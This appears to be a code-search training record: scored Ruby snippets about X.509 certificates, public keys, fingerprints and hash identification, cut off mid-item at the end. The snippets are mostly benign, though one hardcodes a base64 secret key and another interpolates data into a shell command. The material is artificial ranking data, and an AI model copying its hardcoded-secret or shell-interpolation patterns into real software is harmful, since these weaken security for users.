{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def cert_digest\n Digest::SHA1.hexdigest(@cert.to_der)\n end", "def hash\n to_pem.hash\n end", "def hash\n to_pem.hash\n end", "def public_key\n Akero.replate(@cert.to_s, Akero::PLATE_CERT)\n end", "def public_key\n @cert.public_key\n end", "def cert_hash(cert)\n java_bytes = cert_to_java_bytes(cert)\n return nil unless java_bytes\n\n hash = CryptoUtils::calculateCertHexHash(java_bytes)\n hash.upcase.scan(/.{1,2}/).join(':')\n end", "def key_pem; end", "def collect_cert_info\n # Redirect keytool check error to /dev/null\n os_has_keytool = system('keytool 2>/dev/null')\n raise 'keytool dependency not satisfied. Make sure that JAVA keytool utility is installed' unless os_has_keytool\n cert_info = {}\n certificate_raw = `keytool -printcert -rfc -jarfile #{@apk_path.shellescape}`\n certificate_content_regexp = /(-----BEGIN CERTIFICATE-----.*-----END CERTIFICATE-----)/m\n matched_data = certificate_content_regexp.match(certificate_raw)\n if matched_data\n certificate_content = matched_data.captures[0]\n cert_info = {\n issuer_raw: nil,\n cn: nil,\n ou: nil,\n o: nil,\n st: nil,\n l: nil,\n c: nil,\n creation_date: nil,\n expiration_date: nil\n }\n cert_extract_dates(certificate_content, cert_info)\n cert_extract_issuer(certificate_content, cert_info)\n else\n puts 'Failed to find CERT.RSA file in APK'\n end\n cert_info\n end", "def public_key\n @cert.public_key\n end", "def cert_pem; end", "def to_pem\n if @cert.kind_of?(OpenSSL::X509::Certificate)\n return @cert.to_pem.chomp\n end\n end", "def certificate_details\n data[:certificate_details]\n end", "def raw_key\n key = read['pem']\n raise \"There is no key for some reason for user @#{@login}\" if key.nil?\n key\n end", "def key_fingerprint\n data.key_fingerprint\n end", "def cert_dump(cert)\n return nil unless cert\n\n %x[echo \"#{cert_object(cert).to_pem}\" | openssl x509 -text -noout -nameopt oneline,-esc_msb 2>&1]\n end", "def certificate\n Base64.strict_encode64(parsed_certificate.to_der)\n end", "def certificate_value(h)\n v = credential_authentication_inverso_issuer(h)\n h[:k] == \"seal\" && valid_keys.include?(\"certificate\") ? \"#{v} #{join_seal(h[:ver])}\" : v\n end", "def saml_provider_cert_fingerprint\n @attributes[:saml_provider_cert_fingerprint]\n end", "def ecdh_public_key_bytes; end", "def certificate_subject\n attributes[:certificate_subject]\n end", "def certification\n return @certification\n end", "def get_ssl_hash_verify\n # Not supported unless we have a socket with SSL enabled\n return nil unless self.client.sock.type? == 'tcp-ssl'\n\n request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_GETCERTHASH)\n response = client.send_request(request)\n\n return response.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH)\n end", "def hash\n [anchor, cv, nullifier, proof, rk, spend_auth_sig].hash\n end", "def to_x509()\n @cert\n end", "def key_usage\n extensions[R509::Cert::Extensions::KeyUsage]\n end", "def certificate_id_digest_method\n super\n end", "def pubek\r\n Tem::Key.new_from_ssl_key endorsement_cert.public_key\r\n end", "def x509_certificate_string\n t=self.metadata_nokogiri.clone\n t.remove_namespaces!\n the_xpath = \"//KeyDescriptor/KeyInfo/X509Data/X509Certificate\"\n node = t.xpath(the_xpath)\n if node.blank?\n raise \"Could not extract X509Certificate from #{site.name}\"\n else\n node.inner_text\n end\n end", "def keycerts; end", "def certificate_subject\n return \"CN=#{project.package_name}\" unless signing_identity\n\n store = machine_store? ? \"LocalMachine\" : \"CurrentUser\"\n cmd = [].tap do |arr|\n arr << \"powershell.exe\"\n arr << \"-ExecutionPolicy Bypass\"\n arr << \"-NoProfile\"\n arr << \"-Command (Get-Item Cert:/#{store}/#{cert_store_name}/#{thumbprint}).Subject\"\n end.join(\" \")\n\n shellout!(cmd).stdout.strip\n end", "def cert_content; end", "def computed_signed_info\n \n llave = CFDI::Key.new @key, @password\n\n return Base64::encode64(llave.sign(OpenSSL::Digest::SHA1.new, CGI::unescapeHTML(self.canonicalized_signed_info.gsub('<TEST/>','').gsub(/\\n/, ''))))\n \n end", "def public_key_hash\n Crypto.hash_public_key(public_key)\n end", "def public_key_hash(hex)\n\t\trmd160(sha256(hex))\n\tend", "def cert_key\n @cert_key ||= (OpenSSL::PKey.read(File.read(cert_key_file), cert_key_password) if cert_key_file)\n end", "def certificate_body\n data.certificate_body\n end", "def certificate_body\n data.certificate_body\n end", "def get_key\n @key = Base64.decode64('MzRlZTc5ODMtNWVlNi00MTQ3LWFhODYtNDQzZWEwNjJhYmY3NzQ0OTNkNmEtMmExNS00M2ZlLWFhY2UtZTc4NTY2OTI3NTg1Cg==')\n end", "def fingerprint(algorithm = 'sha256')\n message_digest = R509::MessageDigest.new(algorithm)\n md = message_digest.digest\n md.update(@cert.to_der)\n md.to_s\n end", "def config_hash\n certs_path = File.join(__dir__, '..', 'our_certs')\n\n { contract_id: '356936003', # from CP signed contract\n customer_id: 'L03051', # from CP signed contract\n certificate_path: File.join(certs_path, 'squared_VCA12032726_2022.pem'),\n private_key_password: File.read(File.join(certs_path, 'keypass.txt')),\n private_key_path: File.join(certs_path, 'squared_private_2022.key'),\n sending_post_office_code: 12_000 }\n end", "def hash\n keccak256(prefixed_message)\n end", "def spki_sha1_hash(cert)\n spki = OpenSSL::ASN1.decode(cert).value[0].find { |e|\n e.tag == 16 && e.value[0].tag == 16\n }\n return unless spki\n [\"sha1\", [OpenSSL::Digest::SHA1.digest(spki.to_der)].pack('m*').chomp].join(\"/\")\n end", "def certificate_length\n parsed_certificate.to_der.bytesize\n end", "def hash\n [auth_provider_x509_cert_url, auth_uri, automute, client_email, client_id, client_x509_cert_url, errors, host_filters, is_cspm_enabled, private_key, private_key_id, project_id, token_uri, type].hash\n end", "def masa_pki\n masakey.public_key.to_der\n end", "def hash\n keccak256(prefixed_message)\n end", "def fingerprint(algorithm='sha1')\n message_digest = R509::MessageDigest.new(algorithm)\n md = message_digest.digest\n md.update(@cert.to_der)\n md.to_s\n end", "def pubkey\n # Split every 2 bytes\n paths = combined_hash.unpack('S>*')\n paths.inject(payment_base) { |key, p| key.derive(p) }\n end", "def id\n Akero.fingerprint_from_cert(@cert)\n end", "def server_certificate_metadata\n data.server_certificate_metadata\n end", "def server_signing_profile(node)\n {\n \"digest\" => provider.ca.server_certificates.digest,\n \"extensions\" => {\n \"keyUsage\" => {\n \"usage\" => [\"digitalSignature\", \"keyEncipherment\"]\n },\n \"extendedKeyUsage\" => {\n \"usage\" => [\"serverAuth\", \"clientAuth\"]\n },\n \"subjectAltName\" => {\n \"ips\" => [node.ip_address],\n \"dns_names\" => dns_names_for_node(node)\n }\n }\n }\n end", "def certification_name\n return @certification_name\n end", "def get_crypto_key_hex\n return @crypto_key if ! @crypto_key\n @crypto_key.unpack(\"H*\")\n end", "def sha256_fingerprint\n Base64.encode64(Digest::SHA256.digest(ssh_public_key_conversion)).gsub(\"\\n\", \"\")\n end", "def fingerprint(filename)\n \"SHA256: \" + X509.fingerprint(\"SHA256\", Path.named_path(filename))\n end", "def cert_params\n params[:cert]\n end", "def fingerprint(cert)\n unless cert.is_a? OpenSSL::X509::Certificate\n cert = OpenSSL::X509::Certificate.new cert\n end\n\n signature = OpenSSL::Digest::SHA256.new(cert.to_der).to_s\n signature.scan(/../).map{ |s| s.upcase }.join(\":\")\n end", "def keycert_files; end", "def public_key\n public_key_object.to_pem\n end", "def server_signing_profile(node)\n {\n \"digest\" => manager.provider.ca.server_certificates.digest,\n \"extensions\" => {\n \"keyUsage\" => {\n \"usage\" => [\"digitalSignature\", \"keyAgreement\"]\n },\n \"extendedKeyUsage\" => {\n \"usage\" => [\"serverAuth\"]\n },\n \"subjectAltName\" => {\n \"ips\" => [node.ip_address],\n \"dns_names\" => dns_names_for_node(node)\n }\n }\n }\n end", "def meta_Certificate(entity, data)\n out = ''\n data.each_line do |line|\n fields = line.split(': ')\n unless fields.length != 2\n key = fields[0].strip.gsub ' ', '_'\n value = fields[1].strip.gsub '\"', ''\n\n out << skb_says(entity.app.id, \"hasCertificate#{key}\", value)\n end\n end\n out\n end", "def cert_sha1_fingerprint certificate\n fingerprint = OpenSSL::Digest::SHA1.hexdigest certificate.to_der\n\n # Format it the same way OpenSSL does.\n fingerprint = fingerprint.chars.each_slice(2).map(&:join).join ':'\n fingerprint.upcase\n end", "def signature\n registration_data_raw.byteslice(\n (KEY_HANDLE_OFFSET + key_handle_length + certificate_length)..-1\n )\n end", "def hash_secure\n sha256 = OpenSSL::Digest::SHA256.new\n enc64(sha256.digest)\n end", "def cert\n @cert\n end", "def key\n @agent.private_key\n end", "def certificate_data\n return @certificate_data\n end", "def ssl_cert\n datastore['SSLCert']\n end", "def public_key_fingerprint\n Cryptosphere.kdf(public_key).unpack('H*').first.scan(/.{4}/).join(\":\")\n end", "def public_key\n OpenSSL::PKey.read(public_to_der)\n end", "def public_key\n OpenSSL::PKey.read(public_to_der)\n end", "def to_json_value\n @cert.to_pem.gsub(/\\n/, \"\\\\n\")\n end", "def extended_key_usage\n extensions[R509::Cert::Extensions::ExtendedKeyUsage]\n end", "def public_key\n @public_key.to_der\n end", "def private_key\n @private_key.to_der\n end", "def certificate\n return @certificate\n end", "def private_key_pem\n @private_key.to_pem\n end", "def ssl_certificate\n @ssl_certificate ||= OpenSSL::X509::Certificate.new <<-CERT\n-----BEGIN CERTIFICATE-----\nMIIBQjCB7aADAgECAgEAMA0GCSqGSIb3DQEBBQUAMCoxDzANBgNVBAMMBm5vYm9k\neTEXMBUGCgmSJomT8ixkARkWB2V4YW1wbGUwIBcNMTExMTAzMjEwODU5WhgPOTk5\nOTEyMzExMjU5NTlaMCoxDzANBgNVBAMMBm5vYm9keTEXMBUGCgmSJomT8ixkARkW\nB2V4YW1wbGUwWjANBgkqhkiG9w0BAQEFAANJADBGAkEA8pmEfmP0Ibir91x6pbts\n4JmmsVZd3xvD5p347EFvBCbhBW1nv1GsbCBEFlSiT1q2qvxGb5IlbrfdhdgyqdTX\nUQIBATANBgkqhkiG9w0BAQUFAANBAAAB////////////////////////////////\n//8AMCEwCQYFKw4DAhoFAAQUePiv+QrJxyjtEJNnH5pB9OTWIqA=\n-----END CERTIFICATE-----\n CERT\n end", "def pubkey_algorithms; end", "def certificate; end", "def certificate; end", "def key(keygap)\n key = read['pem']\n raise \"There is no key for some reason for user @#{@login}\" if key.nil?\n key = Keygap.new.merge(key, keygap)\n @log.debug(\"The private key of @#{@login} reassembled: #{key.to_s.length} chars\")\n key\n end", "def domain_test_signing_profile\n {\n \"digest\" => \"SHA256\",\n \"extensions\" => {\n \"keyUsage\" => {\n \"usage\" => [\"digitalSignature\", \"keyEncipherment\"]\n },\n \"extendedKeyUsage\" => {\n \"usage\" => [\"serverAuth\"]\n }\n }\n }\n end", "def handle_auth data\n CERTIFICATE.to_pem\n end", "def public_key_string\n [@public_key.to_s].pack(\"m*\").gsub(\"\\n\", \"\")\n end", "def get_cert\n cert_str = \"\"\n \n File.open(@cert_file_path, \"r\") do |f|\n cert_str = f.read\n end\n\n return cert_str\n end", "def certificate\n _get_certificate\n end", "def public_key\n require_key\n\n @private_key.public_key.to_pem\n end", "def cert_path; end", "def cert_path; end", "def to_bytes\n @public_key\n end", "def cert\n @agent.certificate\n end", "def domain_test_signing_profile\n {\n \"digest\" => \"SHA256\",\n \"extensions\" => {\n \"keyUsage\" => {\n \"usage\" => [\"digitalSignature\", \"keyAgreement\"]\n },\n \"extendedKeyUsage\" => {\n \"usage\" => [\"serverAuth\"]\n }\n }\n }\n end", "def key_info\n authenticated_post(\"key_info\").body\n end", "def encryption_certificate\n return @encryption_certificate\n end", "def get_cert_details()\n $log.debug(\"Returning certificate details\")\n self.use_ssl = true\n disable_validations\n begin\n self.start do |x|\n return ResultContainer.new(true, x.peer_cert)\n end\n rescue => ex\n return ResultContainer.new(false, ex)\n end\n end", "def sha256_fingerprint(key)\n if key.match(/PRIVATE/)\n new(key).sha256_fingerprint\n else\n Base64.encode64(Digest::SHA256.digest(decoded_key(key))).gsub(\"\\n\", \"\")\n end\n end", "def certificate_signing_request\n return @certificate_signing_request\n end", "def public_key_data\n @public_key\n end", "def pubkey_hash160\n if set_pubkey_hash160\n set_pubkey_hash160 \n elsif multisig_pubkey\n hash160 multisig_pubkey\n else\n hash160( pubkey )\n end\n end" ]
[ "0.67010516", "0.62815714", "0.62815714", "0.6218221", "0.61926126", "0.61859363", "0.61471754", "0.6146044", "0.6090871", "0.60827404", "0.6079351", "0.6044566", "0.60421455", "0.60371745", "0.59984607", "0.5975145", "0.5972542", "0.5964493", "0.5930349", "0.5926125", "0.591243", "0.5907841", "0.590782", "0.58647126", "0.58610237", "0.5837755", "0.58283705", "0.5820506", "0.5815091", "0.5814588", "0.580161", "0.57986414", "0.57973534", "0.5774935", "0.5774193", "0.5770939", "0.5770939", "0.57632977", "0.57509303", "0.5739158", "0.57316756", "0.5727461", "0.56986064", "0.56925386", "0.5689658", "0.5687952", "0.5680509", "0.56770945", "0.5649883", "0.5644867", "0.5636956", "0.5634713", "0.56246513", "0.56197834", "0.5612843", "0.5606835", "0.558146", "0.55771095", "0.55730283", "0.5572934", "0.55694294", "0.5560858", "0.552037", "0.54879165", "0.5480441", "0.5478435", "0.5475823", "0.54723954", "0.54723907", "0.54544353", "0.54544353", "0.54418194", "0.5436341", "0.5431586", "0.5430628", "0.5400096", "0.5394471", "0.5392163", "0.53911394", "0.53904885", "0.53904885", "0.53900635", "0.5384354", "0.5376653", "0.5376366", "0.5374155", "0.5366145", "0.5362592", "0.53458744", "0.53458744", "0.5328844", "0.5328206", "0.5321734", "0.5316169", "0.5316141", "0.5305145", "0.5301486", "0.52926546", "0.52926105", "0.52874744" ]
0.55746716
58
Will return one of the following :HS256, :HS384, :HS512, :RS256, :RS384, :RS512, :ES256, :ES384, :ES512 def key_algorithm end
def to_s "#<#{self.class} subj=#{@subject} can-sign=#{@key != nil}>" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def algorithm\n \"HS256\"\n end", "def key_algorithm\n if self.rsa?\n :rsa\n elsif self.dsa?\n :dsa\n elsif self.ec?\n :ec\n end\n end", "def signing_algorithm\n signing_key.is_a?(String) ? \"HS256\" : \"RS256\"\n end", "def key_algorithm\n if self.rsa?\n \"RSA\"\n elsif self.dsa?\n \"DSA\"\n end\n end", "def key_algorithm\n if @req.public_key.kind_of? OpenSSL::PKey::RSA then\n 'RSA'\n elsif @req.public_key.kind_of? OpenSSL::PKey::DSA then\n 'DSA'\n end\n end", "def jwa_alg\n # https://tools.ietf.org/html/rfc7518#section-3.1\n # HMAC using SHA-256\n 'HS256'\n end", "def algorithm\n secret ? (@algorithm || ALGORITHM_HMAC_HS256) : 'none'\n end", "def algorithm\n attributes.fetch(:algorithm) do\n Ably::Util::Crypto::DEFAULTS.fetch(:algorithm)\n end.downcase\n end", "def supported_algorithms\n {\n None: [],\n SHA: %w{HS256 HS384 HS512},\n RSA: %w{RS256 RS384 RS512},\n ESDSA: %w{ES256 ES384 ES512}\n }\n end", "def pubkey_algorithms; end", "def key_algorithm=(algorithm)\n SaltedHash::assert_supported_algorithm(algorithm)\n properties_class.instance.update_attributes :key_algorithm => algorithm\n end", "def sid_algorithm\n OpenSSL::Random.random_bytes(@options[:sid_len] / 2).unpack('H*')[0]\n end", "def generate_key\n begin\n multipliers = eval(self.software.multipliers)\n key = []\n self.challenge.split(\"-\").each_with_index do |word,i|\n word = word.to_i(16) # convert hex to dec\n word *= (word[0].even?) ? multipliers[i][:even] : multipliers[i][:odd]\n key << word.to_s(16).reverse[0,8].reverse # convert dec to hex, keep only 8 rightmost hex characters\n end\n self.activation_key = key.join(\"-\").upcase\n rescue\n self.activation_key = \"error!\"\n end\n end", "def key_for_string str\n Digest::MD5.hexdigest(str).to_i(16) & KEY_MAX\n end", "def key(length=256,format=:plain)\n key = ::AES::AES.new(\"\").random_key(length)\n case format\n when :base_64\n Base64.encode64(key).chomp\n else\n key\n end\n end", "def signature_digest_algorithm\n @sign_digester.symbol || @sign_digester.digest_name\n end", "def algorithm_name\n raise NotImplementedError\n end", "def key_type\n v = version\n case v\n when Bitcoin.chain_params.bip49_pubkey_p2wpkh_p2sh_version\n Bitcoin::Key::TYPES[:p2wpkh_p2sh]\n when Bitcoin.chain_params.bip84_pubkey_p2wpkh_version\n Bitcoin::Key::TYPES[:p2wpkh]\n when Bitcoin.chain_params.extended_pubkey_version\n Bitcoin::Key::TYPES[:compressed]\n end\n end", "def key_generator; end", "def key_generator; end", "def sid_algorithm; SecureRandom.hex(@options[:sid_len]); end", "def firewall_pre_shared_key_encoding_method\n return @firewall_pre_shared_key_encoding_method\n end", "def keygens; end", "def digest_algorithm\n @digester.symbol || @digester.digest_name\n end", "def get_encryption_key\n key_bytes = @sha_size / 8\n if @alg.respond_to?(:preshared_key)\n key = @alg.preshared_key\n unless key.size == key_bytes\n raise Sandal::KeyError, \"The pre-shared content key must be #{@sha_size} bits.\"\n end\n key\n else\n SecureRandom.random_bytes(key_bytes)\n end\n end", "def negotiate_algorithms; end", "def get_lh_hash(key)\n res = 0\n key.upcase.bytes do |byte|\n res *= 37\n res += byte.ord\n end\n return res % 0x100000000\n end", "def algorithm_params\n params.fetch(:algorithm, {})\n end", "def key_type\n v = version\n case v\n when Bitcoin.chain_params.bip49_privkey_p2wpkh_p2sh_version\n Bitcoin::Key::TYPES[:p2wpkh_p2sh]\n when Bitcoin.chain_params.bip84_privkey_p2wpkh_version\n Bitcoin::Key::TYPES[:p2wpkh]\n when Bitcoin.chain_params.extended_privkey_version\n Bitcoin::Key::TYPES[:compressed]\n end\n end", "def commonKey()\n\treturn \"\\xEB\\xE4\\x2A\\x22\\x5E\\x85\\x93\\xE4\\x48\\xD9\\xC5\\x45\\x73\\x81\\xAA\\xF7\"\nend", "def get_key\n @key = Base64.decode64('MzRlZTc5ODMtNWVlNi00MTQ3LWFhODYtNDQzZWEwNjJhYmY3NzQ0OTNkNmEtMmExNS00M2ZlLWFhY2UtZTc4NTY2OTI3NTg1Cg==')\n end", "def cipher_type\n self.class.cipher_type(algorithm: algorithm, key_length: key_length, mode: mode)\n end", "def generate_key(seed)\n key = \"\"\n 1.upto(KEY_LENGTH) do\n key += (((seed = (214013 * seed + 2531011) & 0x7fff_ffff) >> 16) & 0x0FF).chr # deconstructing in IDA showed Microsoft LCG\n end\n return key\nend", "def aes_cts_hmac_sha1_96(algorithm, raw_secret, salt)\n iterations = 4096\n cipher = OpenSSL::Cipher::AES.new(algorithm)\n key = OpenSSL::PKCS5.pbkdf2_hmac_sha1(raw_secret, salt, iterations, cipher.key_len)\n plaintext = \"kerberos\\x7B\\x9B\\x5B\\x2B\\x93\\x13\\x2B\\x93\".b\n result = ''.b\n loop do\n cipher.reset\n cipher.encrypt\n cipher.iv = \"\\x00\".b * 16\n cipher.key = key\n ciphertext = cipher.update(plaintext)\n result += ciphertext\n break unless result.size < cipher.key_len\n\n plaintext = ciphertext\n end\n result\n end", "def make_key t\n (sig_key(t) + sum_key(t))[0..MAX_KEY_SIZE].sub(/\\0+\\z/, \"\")\n end", "def for_storage\n return Key64.from_bits( @bit_string )\n end", "def supported_ssh_host_key_algorithms\n @host_key_algo ||= SshKey.supported_host_key_algorithms(\n Util.read_file([:node_ssh_pub_key, @node.name])\n )\n end", "def derive_keys(key)\n derived_key_size = key.size / 2\n mac_key = key[0...derived_key_size]\n enc_key = key[derived_key_size..-1]\n return mac_key, enc_key\n end", "def generate_hash(bytes, algorithm = nil)\n bytes = Validation.check_filled_array_argument!(bytes)\n\n alg = algorithm\n alg ||= use_SHA256_fingerprints ? HashAlgorithm::SHA256 : HashAlgorithm::SHA512\n\n begin\n native_algorithm = HashAlgorithm.convert_to_native(alg)\n native_hasher = Core::VirgilHash.new(native_algorithm)\n wrap_bytes(native_hasher.hash(bytes))\n rescue StandardError => error\n raise VirgilCryptoException, error.message\n end\n end", "def algorithm\n Object.const_get('Modulus').const_get('Algorithm').const_get(@check_method)\n end", "def key_type\r\n\t\treturn \" \" if repeat?(:SPACE)\r\n\t\tfor key in LETTERS\r\n\t\t\tnext unless repeat?(key)\r\n\t\t\treturn upcase? ? key.to_s[3].upcase : key.to_s[3].downcase\r\n\t\tend\r\n\t\tfor key in NUMBERS\r\n\t\t\treturn key.to_s[3] if repeat?(key)\r\n\t\tend\r\n\t\tfor key in NUMPADS\r\n\t\t\treturn key.to_s[3] if repeat?(key)\r\n\t\tend\r\n\t\t\r\n\t\treturn \"\"\r\n\tend", "def handle_signing(jwt, key=nil)\n if jwt.alg =~ /none/i\n jwt.to_s\n else\n raise JSON::JWS::UnexpectedAlgorithm.new(\"Encryption algorithm '#{jwt.alg}' requires key.\") if key.nil?\n alg = jwt.alg.upcase\n case\n when alg.start_with?(\"HS\")\n key\n when alg.start_with?(\"RS\")\n key = OpenSSL::PKey::RSA.new(key)\n when alg.start_with?(\"PS\")\n key = OpenSSL::PKey::RSA.new(key)\n when alg.start_with?(\"ES\")\n # key = OpenSSL::PKey::RSA.new(key)\n print_error(\"Signing for ECDSA-SHA is not yet implemented\")\n print_warning 'Please report the issue to: https://github.com/KINGSABRI/jwtear/issues'.underline\n else\n print_warning(\"Undefined algorithm. This might generate a wrong token\")\n print_warning 'Please report the issue to: https://github.com/KINGSABRI/jwtear/issues'.underline\n key\n end\n jwt.alg = alg.to_sym\n jwt.sign(key).to_s\n end\n end", "def signature_digest_algorithm=(algorithm)\n @sign_digester = Kiji::Digester.new(algorithm)\n end", "def SignerKey(input = nil)\n case input\n when Transaction\n SignerKey.pre_auth_tx(input.hash)\n when /^[0-9A-Za-z+\\/=]{44}$/\n SignerKey.hash_x(Stellar::Convert.from_base64(input))\n when /^[0-9a-f]{64}$/\n SignerKey.hash_x(Stellar::Convert.from_hex(input))\n when /^.{32}$/\n SignerKey.hash_x(input)\n else\n SignerKey.ed25519(KeyPair(input))\n end\n end", "def negotiate(algorithm); end", "def default_key \n Digest::SHA1.hexdigest(\"riaque:#{name}\")\n end", "def prehash_algorithm\n @prehash ||= Algorithm::Prehash.new(dictionary)\n end", "def key_iv\r\n @key_iv\r\n end", "def algorithm=(alg)\n return @algorithm if Algorithm::EXISTING == alg\n case alg\n when String\n @algorithm = Algorithm.algorithm_from_name(alg)\n when ::HTAuth::Algorithm\n @algorithm = alg\n else\n raise InvalidAlgorithmError, \"Unable to assign #{alg} to algorithm\"\n end\n return @algorithm\n end", "def key_for(params, id, length = 32)\n pset = {\n :iters => params.iterations,\n :salt => params.salt\n }\n @keys[pset] = { :master => master_key_for(params) } unless @keys[pset]\n return @keys[pset][id] if @keys[pset][id]\n @keys[pset][id] = hkdf_expand(@keys[pset][:master], \"1:#{id}\", length)\n end", "def gen_key( string )\n md5 = Digest::MD5.hexdigest( string )\n return md5[0, 3] + md5[29, 31]\nend", "def get_hash(key)\n (Zlib.crc32(key).abs % 100).to_s(36)\n end", "def digest_algorithm=(algorithm)\n @digester = Kiji::Digester.new(algorithm)\n end", "def strength\n raise UnknownAlgorithmError\n end", "def encryption_key\n return @encryption_fu_attrs['-encryption-key-'] if @encryption_fu_attrs['-encryption-key-']\n \n public_key = self.send self.encryption_fu_options[:public_key_field]\n if public_key.blank?\n public_key = self.generate_public_encryption_key\n self.send \"#{self.encryption_fu_options[:public_key_field]}=\".to_sym, public_key\n end\n private_key = self.private_encryption_key\n \n @encryption_fu_attrs['-encryption-key-'] = Digest::SHA256.hexdigest(\"-#{private_key}-#{public_key}-\")\n end", "def derive_resource_code\n resource_string = self.region_code.to_s + self.name.to_s\n deterministic_hash(resource_string)\n end", "def key_types; end", "def key_types; end", "def fingerprint(algorithm = 'sha256')\n message_digest = R509::MessageDigest.new(algorithm)\n md = message_digest.digest\n md.update(@cert.to_der)\n md.to_s\n end", "def key\n @key ||= case options.case\n when :lower_camel\n base_key.camelize(:lower)\n when :upper_camel\n base_key.camelize(:upper)\n when :snake\n base_key.underscore\n end\n end", "def generate_key; end", "def encode payload, key, alg = 'HS256'\n begin\n encoded = get_segments payload, key, alg\n rescue StandardError => e\n encoded = e.message\n end\n\n return encoded\n end", "def algorithms\n \n @algorithms ||= @lmdb.transaction do\n if ret = @dbs[:control]['algorithms']\n ret.strip.split(/\\s*,+\\s*/).map(&:to_sym)\n end\n end\n end", "def encryption_key\n\tself.data_encrypting_key ||= DataEncryptingKey.primary\n\tdata_encrypting_key.key\n end", "def generate_key(key_size = T.unsafe(nil)); end", "def filehash(filename, algorithm = DEFAULT_ALGORITHM)\n algo_class = Digest.const_get(algorithm.to_s.upcase)\n\n # Safety check\n unless algo_class.class == Class and algo_class.respond_to?(:new)\n raise \"Unknown filehash provider #{algo_class}\"\n end\n\n hash = algo_class.new()\n File.open(filename,'r') do |f|\n until f.eof?\n hash.update(f.read(READ_SIZE))\n end\n end\n\n return hash.hexdigest\n end", "def algorithms\n get_info :algorithms\n end", "def aes_key\n self.encrypted_data_will_change!\n \"dfdsdsfsdfsdfwefsdfds\"\n end", "def get_crypto_key_hex\n return @crypto_key if ! @crypto_key\n @crypto_key.unpack(\"H*\")\n end", "def key_id\n GlobalConstant::Aws::Kms.get_key_id_for(@purpose)\n end", "def key_id\n GlobalConstant::Aws::Kms.get_key_id_for(@purpose)\n end", "def identify_hash(hash)\n hash = hash.to_s.strip\n case\n # operating systems\n when hash.start_with?('$1$') && hash.length == 34\n return 'md5'\n when hash.start_with?('$2$') && hash.length == 59,\n hash.start_with?('$2a$') && hash.length == 60,\n hash.start_with?('$2b$') && hash.length == 60,\n hash.start_with?('$2x$') && hash.length == 60,\n hash.start_with?('$2y$') && hash.length == 60\n return 'bf' #bcrypt\n when hash.start_with?('$5$') && hash.split('$').last.length == 43\n # we dont check full length since it may have 'rounds=' in the [1] area or not with an arbitrary length number\n return 'sha256,crypt'\n when hash.start_with?('$6$') && hash.split('$').last.length == 86\n # we dont check full length since it may have 'rounds=' in the [1] area or not with an arbitrary length number\n return 'sha512,crypt'\n when hash.start_with?('@S@') && hash.length == 148\n return 'qnx,sha512'\n when hash.start_with?('@s@') && hash.length == 84\n return 'qnx,sha256'\n when hash.start_with?('@m@') && hash.length == 52\n return 'qnx,md5'\n when hash.start_with?('_') && hash.length == 20\n return 'des,bsdi,crypt'\n when hash =~ /^[\\.\\/\\dA-Za-z]{13}$/ # hash.length == 13\n return 'des,crypt'\n when hash =~ /^\\$dynamic_82\\$[\\da-f]{128}\\$HEX\\$[\\da-f]{32}$/ # jtr vmware ldap https://github.com/rapid7/metasploit-framework/pull/13865#issuecomment-660718108\n return 'dynamic_82'\n when hash.start_with?(/{SSHA}/i)\n return 'ssha'\n when hash.start_with?(/{SHA512}/i)\n return 'raw-sha512'\n when hash.start_with?(/{SHA}/i)\n return 'raw-sha1'\n when hash.start_with?(/{MD5}/i)\n return 'raw-md5'\n when hash.start_with?(/{SMD5}/i)\n return 'smd5'\n when hash.start_with?(/{SSHA256}/i)\n return 'ssha256'\n when hash.start_with?(/{SSHA512}/i)\n return 'ssha512'\n # windows\n when hash.length == 65 && hash =~ /^[\\da-fA-F]{32}:[\\da-fA-F]{32}$/ && hash.split(':').first.upcase == 'AAD3B435B51404EEAAD3B435B51404EE'\n return 'nt'\n when hash.length == 65 && hash =~ /^[\\da-fA-F]{32}:[\\da-fA-F]{32}$/\n return 'lm'\n # OSX\n when hash.start_with?('$ml$') && hash.split('$').last.length == 256\n return 'pbkdf2-hmac-sha512,osx' # 10.8+\n when hash =~ /^[\\da-fA-F]{48}$/ # hash.length == 48\n return 'xsha,osx' # 10.4-10.6\n # databases\n when hash.start_with?('0x0100') && hash.length == 54\n return 'mssql05'\n when hash.start_with?('0x0100') && hash.length == 94\n return 'mssql'\n when hash.start_with?('0x0200') && hash.length == 142\n return 'mssql12'\n when hash =~ /^[\\da-f]{16}$/ # hash.length == 16\n return 'mysql' # mysql323 (pre 4.1)\n when hash.start_with?('*') && hash.length == 41\n return 'mysql-sha1' # mysql 4.1+\n when hash.start_with?('md5') && hash.length == 35\n return 'postgres'\n when hash =~ /^[\\da-fA-F]{16}$/\n return 'des,oracle' # pre 11g\n when hash =~ /^S:[\\dA-F]{60}$/\n return 'raw-sha1,oracle11'\n when hash =~ /^S:[\\dA-F]{60};H:[\\dA-F]{32};T:[\\dA-F]{160}$/\n return 'raw-sha1,oracle'\n when hash =~ /^H:[\\dA-F]{32};T:[\\dA-F]{160}$/\n return 'pbkdf2,oracle12c'\n # webapps\n when hash.start_with?('$P$') && hash.length == 34,\n hash.start_with?('$H$') && hash.length == 34\n return 'phpass' # wordpress, drupal, phpbb3 (H not P)\n when hash.start_with?('$ml$') && hash.length == 203\n return 'PBKDF2-HMAC-SHA512'\n when hash.start_with?('{PKCS5S2}') && hash.length == 73\n return 'PBKDF2-HMAC-SHA1'\n when hash.start_with?('$B$') && hash.split('$').last.length == 32\n return 'mediawiki'\n # mobile\n when hash =~/^[A-F0-9]{40}:[a-f0-9]{16}$/\n return 'android-sha1'\n when hash =~/^[A-F0-9]{32}:[a-f0-9]{16}$/\n return 'android-md5'\n # other\n when hash =~ /^<\\d+@.+?>#[\\w]{32}$/\n return 'hmac-md5'\n when hash.length == 114 && hash.start_with?('$M$')\n return 'F5-Secure-Vault'\n when hash =~ /^M\\$[[:print:]]+#[\\da-fA-F]{32}(?:(?::[[:print:]]*$)|$)/\n return 'mscash'\n when hash =~ /^\\$DCC2\\$\\d+#[[:print:]]+#[\\da-fA-F]{32}(?:(?::[[:print:]]*$)|$)/\n return 'mscash2'\n end\n ''\nend", "def digest_class\n Digest::SHA256\n end", "def digest_class\n Digest::SHA256\n end", "def encryption_method(config)\n method = config[\"encryption\"][\"method\"]\n case method.to_s\n when \"start_tls\", \"simple_tls\"\n method.to_sym\n when \"starttls\"\n :start_tls\n end\n end", "def 